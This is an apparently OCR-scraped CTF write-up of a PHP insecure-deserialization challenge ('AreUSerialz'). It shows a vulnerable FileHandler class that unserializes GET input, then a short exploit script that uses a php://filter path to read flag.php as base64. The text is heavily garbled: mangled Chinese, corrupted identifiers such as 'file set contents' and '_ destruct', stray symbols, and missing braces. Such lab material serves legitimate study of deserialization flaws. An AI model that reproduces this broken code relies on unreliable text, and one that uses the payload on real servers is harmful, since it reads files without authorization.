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<?php

include("flag.php");

highlight_file(___FILE_ );

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile”;
$content = "Hello World!";
$this->process();

}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {

$res = $this->read();
$this->output($res);

} else {
$this->output("Bad Hacker!");

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
¥
$res = file put_contents($this->filename, $this->content);
if($res) $this->output("Successfull");
else $this->output("Failed!");
} else {
$this->output("Failed!");

private function read() {
$res = "";
if(isset($this->filename)) {

$res = file set contents($this->filename):
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}

return $res;

}

private function output($s) {
echo "[Result]: <br>";

echo $s;
}
function _ destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";

$this->process();

}

function is_valid($s) {
for($i = ©; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 & ord($s[$i]) <= 125))
return false;
return true;

}
if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);

}

SUF A

(8571 2) [M A 2020 5 Je4H]AreUSerialz fifdil 18 2% &t #2_iamblackcat ) % -CSDN{# &
EAYFAR TR

opaE i, HIM TIRZ W, WX AT DUERAR 2 J7 %

OpIHIMETET, 2+ i FE

F EAE AR X B

public function process() {

if($this->op == "1") {
$this->write();

} else if($this->op == "2") {
$res = $this->read();
$this->output($res);

} else {
$this->output("Bad Hacker!");

}
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private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output(“Successfull");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
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private function read() {
$res = "";
if(isset($this->filename)) {
$res = file get contents($this->filename);

}

return $res;

private function output($s) {
echo "[Result]: <br>";
echo $s;
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function _ destruct() {

if($this->op === "2")
$this->op = "1";
$this->content = "";

$this->process();
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<?php

class FileHandler {
public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;

}

$a = new FileHandler();
$b = serialize($a);
echo($b);
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